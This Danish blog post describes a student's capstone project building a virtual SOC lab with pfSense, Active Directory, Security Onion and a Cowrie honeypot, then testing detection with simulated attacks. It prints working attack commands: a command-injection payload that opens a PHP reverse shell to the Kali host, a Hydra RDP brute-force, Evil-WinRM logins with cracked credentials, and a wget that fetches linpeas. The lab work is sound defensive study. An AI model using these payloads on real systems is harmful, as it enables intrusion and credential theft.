← Home

Opbygning af et virtuelt SOC lab

Mit afgangsprojekt som IT-teknolog: Opsætning af pfSense, Active Directory, Security Onion og honeypots lokalt på VMware.

Til mit afsluttende projekt på IT-teknolog uddannelsen, som jeg blev færdig med sommeren 2025, prøvede jeg at bygge et komplet Security Operations Center (SOC) helt fra bunden lokalt på min egen computer. Ideen var at skabe et virtuelt miljø, der opfører sig som et autentisk virksomhedsnetværk med Active Directory, DMZ, segmentering, live log-aggregering og detektion, så man kunne afprøve angreb og forsvar i praksis uden adgang til dyrt enterprise-udstyr.

Miljøet simulerer den fiktive transportvirksomhed BusPost under det interne domæne bus.post.

Jeg endte med dette projekt at få et 12-tal til eksamen. Den her post er desuden skåret meget ned – den originale rapport er tæt på 30 sider lang, så jeg har skåret en hel masse fra. Desuden skal det siges, at jeg tog ret meget inspiration fra et andet projekt, som omhandlede noget lignende.


Netværksarkitektur og segmentering#

Det hele blev sat op i VMware Workstation Pro på min egen PC (8-core i7, 32 GB RAM og 1 TB SSD). På trods af rimelig solid hardware var det en udfordring at afvikle så mange maskiner på samme tid, så jeg var nødt til at tænke i nøje allokering af RAM og CPU hele vejen igennem.

Netværket blev opdelt i fem isolerede segmenter via separate VMnets med en central pfSense-firewall som omdrejningspunkt:

NetværkVLAN / VMnetSubnetGatewayRolle i miljøet
ManagementVLAN 110.0.1.0/2410.0.1.1Web-GUI adgang til pfSense direkte fra min fysiske host
Falsk WANVLAN 1010.0.10.0/2410.0.10.254Angrebsmaskine (Kali Linux) og internetvendte lokkeduer
Corporate LANVLAN 2010.0.20.0/2410.0.20.254Windows AD, arbejdsstationer og intern webserver
SecurityVLAN 5010.0.50.0/2410.0.50.254Security Onion (SIEM) og en Kali Purple DFIR-maskine
SPANVLAN 88Layer 2 Mirror-Spejlet rå netværkstrafik direkte til SIEM-sensoren

Netværkstopologi for projektet Overblik over netværkstopologien og trafikflowet mellem pfSense og de fem zoner.

Alle VMnets blev konfigureret som host-only uden brug af VMwares indbyggede DHCP-service. Al uddeling af adresser og routing blev i stedet overladt til pfSense og Windows Domain Controlleren.

En praktisk detalje i VMware Workstation er, at man i standardopsætningen ikke kan oprette VMnet-numre over 20 via GUI'en. VLAN 50 og 88 måtte derfor tildeles ledige virtuelle interfaces som VMnet11 og VMnet12 internt i editoren.


Firewall og routing (pfSense)#

pfSense styrer trafikken mellem segmenterne via et sæt strikse firewall-regler og outbound NAT:

  • WAN-isolation: Al indgående trafik på det falske WAN blokeres som udgangspunkt. Der åbnes kun for kontrolleret adgang mod interne services via NAT Port Forwarding (f.eks. viderestilling af port 80 på 10.0.10.254 direkte til den interne webserver på 10.0.20.10).
  • Security VLAN adgang: Sikkerhedszonen har eksplicit tilladelse til at tilgå Corporate LAN for at trække logs og telemetri, mens trafik den anden vej blokeres af default reject-regler.
  • Management anti-lockout: Management-interfacet fik en statisk IP på 10.0.1.50 i bridged mode, så jeg altid kunne tilgå administrationspanelet direkte fra browseren på min egen PC uden risiko for at låse mig selv ude undervejs.

Corporate LAN (bus.post)#

1. Active Directory & Domain Services#

I Corporate LAN installerede jeg en Windows Server 2019 (BPDC1 på 10.0.20.5), der blev promoveret til Domain Controller for domænet bus.post.

Følgende roller og services blev konfigureret på serveren:

  1. Active Directory Domain Services (AD DS)
  2. DNS Server: Konfigureret med en reverse lookup zone for 10.0.20.0/24, så rå IP-adresser i SIEM-hændelser automatisk resolves til værtsnavne som BPDC1.bus.post. Der blev også oprettet statiske A-records for firewall.bus.post (10.0.20.254) og webserveren system.bus.post (10.0.20.10).
  3. DHCP Server: Scope konfigureret fra 10.0.20.51 til 10.0.20.201 med 10.0.20.5 som standard DNS og gateway.
  4. Routing and Remote Access: Aktiveret for at tilføje en statisk rute til Security Onion-serveren (10.0.50.55), så maskiner i domænet altid kan nå log-sensoren.

2. Brugere, svage passwords og SMBv1 shares#

For at åbne realistiske angrebsflader oprettede jeg tre fiktive afdelinger (IT, Markedsføring og Produktudvikling) under en dedikeret OU samt fire testbrugere:

  • søren.mortensen (kode: a5b9k – kort tilfældig streng)
  • mette.vestergaard (kode: angel13 – kendt fra rockyou.txt)
  • anders.kjeldgaard (kode: buttercup1 – almindeligt ord)
  • emma.lundgaard (kode: !@#$%^" – kompleks streng)

For overhovedet at få lov til at oprette svage adgangskoder som a5b9k i Active Directory var det nødvendigt at gå ind i Group Policy Management under Default Domain Policy og deaktivere standardkravene til password-kompleksitet efterfulgt af en gpupdate /force i kommandoprompten.

Søren og Mette blev tilføjet til Domain Admins. Derudover opsatte jeg delte netværksmapper under C:\buspost\ til de enkelte afdelinger. Mapperne blev sat op med ældre SMBv1-understøttelse, da man i virkelighedens infrastruktur overraskende tit finder forældede protokoller efterladt af hensyn til ældre systemer.

3. Windows Endpoints#

To Windows 10 Pro maskiner blev joinet til bus.post domænet. Her brugte jeg en full-clone i VMware baseret på et rent snapshot af den første maskine. Det gav en helt uafhængig maskine med sin egen MAC-adresse, klar til at logge på med f.eks. Mettes brugerprofil.

4. Sårbar webserver (DVWA)#

På en Ubuntu 24.04-server (10.0.20.10) installerede jeg Apache2, MariaDB, PHP og Damn Vulnerable Web Application (DVWA) for at have en realistisk webapplikation med kendte svagheder.

Undervejs gav database-initialiseringen i setup.php en helt blank side. Et kig i /var/log/apache2/error.log afslørede fejlen:

PHP Fatal error: Uncaught mysqli_sql_exception: Access denied for user 'dvwa'@'localhost'

Problemet blev løst ved manuelt at logge på MariaDB som root, oprette dvwa-databasen og tildele fulde rettigheder til dvwa@localhost med default-passwordet p@ssword. Apache-konfigurationen blev efterfølgende opdateret, så applikationen svarede på http://system.bus.post/DVWA.


Sikkerhedsmonitorering & SIEM (Security Onion)#

Sikkerhedszonen huser to centrale elementer: en Kali Purple DFIR-maskine (dfir.bus.post på 10.0.50.44) til hændelsesanalyse og en komplet Security Onion installation på 10.0.50.55.

Security Onion var uden tvivl den mest ressourcekrævende og tidskrævende komponent i projektet. Den slugte 4 vCPUs, 16 GB RAM og 200 GB diskplads alene for at kunne køre Elasticsearch, Kibana, Suricata og Zeek i parallelle containere.

Security Onion Container Status Terminal-output fra so-status, der bekræfter at samtlige kerne-containere kører fejlfrit.

Rå trafikanalyse via virtuel SPAN-port#

For at overvåge hvad der sker på netværket uden at installere agenter på alting, konfigurerede jeg en SPAN-port (Port Mirroring) direkte i pfSense:

  1. Security Onion blev tildelt to netværkskort i VMware: et til administration (VMnet12) og et sniffing-interface dedikeret til SPAN (VMnet13 / VLAN 88).
  2. I pfSense under Interfaces > Bridges oprettede jeg en software-bridge mellem Corporate LAN (VLAN 20) og Security (VLAN 50), hvor Span Port blev peget direkte på SPANPORT-interfacet.

Det betyder, at hver eneste pakke, der sendes ind eller ud af Corporate LAN, automatisk kopieres og sendes direkte ned i Suricata-sensoren på Security Onion.

Endpoint Telemetry og firewall-udfordringer#

For at hente endpoint-logs direkte ind i SIEM’en skulle Elastic Agent rulles ud på Windows-klienterne via Fleet.

Her ramte jeg et genstridigt problem: Selvom maskinerne i Corporate LAN sagtens kunne pinge SIEM-serveren på 10.0.50.55, nægtede installationen at gå igennem. Den fejlede med timeouts under forbindelsestjekket mod agent-download (port 8443) og enrollment (port 8220).

Et tjek med sudo netstat -tulpn på SIEM’en viste, at docker-proxy lyttede fint på begge porte:

Terminal window
sudo netstat -tulpn | grep 8220
# tcp 0 0 0.0.0.0:8220 0.0.0.0:* LISTEN 65648/docker-proxy

Det viste sig, at min eksisterende “allow-all” regel i pfSense af en eller anden årsag ikke håndterede den statefulde session korrekt over subnettet. Løsningen var at oprette en eksplicit firewall-regel på Corporate LAN, der specifikt tillader udgående TCP-trafik til 10.0.50.55 på destinationsport 8220 og 8443. Derefter forbandt agenterne øjeblikkeligt til Fleet.


Honeypot-implementering (T-Pot vs. Cowrie)#

Formålet med en honeypot er at fungere som et tidligt varslingssystem ved at placere en åben, sårbar maskine helt fremme i angriberens synsfelt.

Jeg forsøgte først at installere T-Pot 24.04.1 direkte i Security-zonen og efterfølgende flytte den ud i Falsk WAN (10.0.10.65). T-Pot virkede lovende med sit samlede dashboard, og en hurtig scanning fra Kali-maskinen viste hele 855 åbne porte ud af de mest almindelige 1000:

Terminal window
sudo nmap -sV 10.0.10.65
# Scanning 855 services on 10.0.10.65...

T-Pot viste sig dog at være ekstremt ustabil i et virtuelt miljø med begrænsede ressourcer. Både Kibana- og Elasticsearch-containerne crashede gentagne gange under opstart.

I stedet valgte jeg at installere en ren Cowrie SSH/Telnet honeypot på en slank Ubuntu-maskine i WAN-zonen (10.0.10.40). På serveren flyttede jeg den rigtige SSH-dæmon til port 2299 i /etc/ssh/sshd_config, så Cowrie frit kunne overtage standardport 22.


Angrebssimulering og verifikation#

Fra en separat Kali Linux-maskine (10.0.10.66) i det falske WAN udførte jeg fire realistiske angreb mod netværket for at se, om vores sensorer opfangede aktiviteten.

1. Rekognoscering via Nmap#

Første skridt var en scanning af webserveren gennem firewallens port-forwarding:

Terminal window
nmap -sC -sV -n -v 10.0.20.10

Takket være SPAN-spejlingen fangede Suricata-motoren i Security Onion scanningen med det samme:

Count: 31 | Rule: ET SCAN Nmap Scripting Engine User-Agent Detected
Count: 31 | Rule: ET SCAN Possible Nmap User-Agent Observed

2. Command Injection mod webserveren#

I DVWA udnyttede jeg en sårbarhed på siden “Ping a device”. Inputfeltet saniterer ikke brugerdata, så ved at tilføje et semikolon kan man udføre vilkårlige OS-kommandoer:

Terminal window
127.0.0.1; php -r '$sock=fsockopen("10.0.10.66", 9001); exec("sh <&3 >&3 2>&3");'

På Kali-maskinen lyttede jeg med nc -lvnp 9001. Kommandoen eksekverede straks og gav en interaktiv reverse shell som brugeren www-data. Efterfølgende rekognosceringskommandoer (whoami, id, katalog-listing) blev opsnappet via Suricatas HTTP-regler i SIEM’en under kategorien ET HUNTING.

3. Password spraying og RDP Brute Force#

En målrettet portscanning mod Corporate LAN afslørede åbne porte på klientsystemet 10.0.20.51 (herunder RPC port 135, SMB port 445 og RDP port 3389).

Jeg startede et ordbogsangreb med THC-Hydra mod RDP-servicen for at knække brugeren mette.vestergaard med et udvalg af passwords fra rockyou.txt:

Terminal window
hydra -t 1 -V -l mette.vestergaard -P passwords.txt rdp://10.0.20.51

Parametret -t 1 sikrer ét login ad gangen for at undgå at crashe RDP-tjenesten. Efter 15 forsøg ramte Hydra den rigtige kode: angel13.

Hydra RDP angreb Hydra finder adgangskoden til Mettes konto efter en stribe mislykkede forsøg.

I Security Onion affødte angrebet over 168 alerts på reglen ET INFO RDP - Response To External Host, hvilket i en rigtig SOC øjeblikkeligt ville have udløst en P1/High severity incident.

4. Lateral Movement via Evil-WinRM#

Med gyldige domæne-credentials kunne jeg åbne en grafisk session via xfreerdp3:

Terminal window
xfreerdp3 /u:mette.vestergaard /p:angel13 /v:10.0.20.51 /cert:ignore

Endnu mere interessant var det at udnytte, at Windows Remote Management (WinRM) var åben på Domain Controlleren (10.0.20.5). Med værktøjet Evil-WinRM fik jeg en direkte PowerShell-shell på serveren:

Terminal window
evil-winrm -i 10.0.20.5 -u mette.vestergaard -p angel13

Herfra var det muligt at inspicere delte netværksmapper, lokalisere en glemt passwords.txt-fil på IT-afdelingens share, og demonstrere persistens ved at oprette en ny lokal bruger uafhængigt af den kompromitterede konto.

5. Afsløring i Cowrie Honeypot#

Til slut testede jeg honeypotten fra Kali-maskinen ved at forbinde til 10.0.10.40 via SSH med koden admin. Cowrie lader automatisk angriberen slippe ind i et simuleret Debian-miljø.

Jeg forsøgte at hente et automatiseret privilegie-eskaleringsscript ned via wget:

Terminal window
wget 10.0.10.66/linpeas.sh

Cowrie fangede forsøget og returnerede en simuleret fejl:

[HoneyPotSSHTransport, 6, 10.0.10.66] CMD: wget 10.0.10.66/linpeas.sh
[HoneyPotSSHTransport, 6, 10.0.10.66] Attempt to access blocked network address

Da jeg i stedet forsøgte at bygge et simpelt shell-script direkte på serveren via touch exploit.sh && chmod +x exploit.sh && ./exploit.sh, svarede den med -bash: ./exploit.sh: command not found. Det illustrerer meget godt balancen i Cowrie: Den er overbevisende nok til at logge angriberens procedurer og tastehistorik, men den isolerer miljøet, så maskinen aldrig kan misbruges som springbræt til reelle angreb.


Konklusion og vigtigste erfaringer#

Projektet beviste, at det sagtens kan lade sig gøre at simulere en fuld enterprise-sikkerhedsinfrastruktur på en helt almindelig PC uden dyrt udstyr.

De vigtigste erfaringer fra forløbet:

  1. Ressourceallokering er altafgørende: At balancere en tung platform som Security Onion sammen med AD, Linux-servere og Windows-arbejdsstationer kræver stram disciplin over for RAM og CPU-tildeling i VMware.
  2. Netværkstelemetri virker i praksis: Ved at udnytte en software bridge i pfSense som virtuel SPAN-port kunne jeg opsnappe både portscanninger, reverse shells og RDP brute-force hændelser helt uden at røre ved klienternes egne konfigurationer.
  3. Små fejl skaber store angrebsflader: En enkelt svag adgangskode i kombination med et åbent administrationsinterface (RDP eller WinRM) og manglende netværkssegmentering er ofte alt, hvad der skal til for at gå fra en ubeskyttet klientmaskine til fuld kontrol over Active Directory.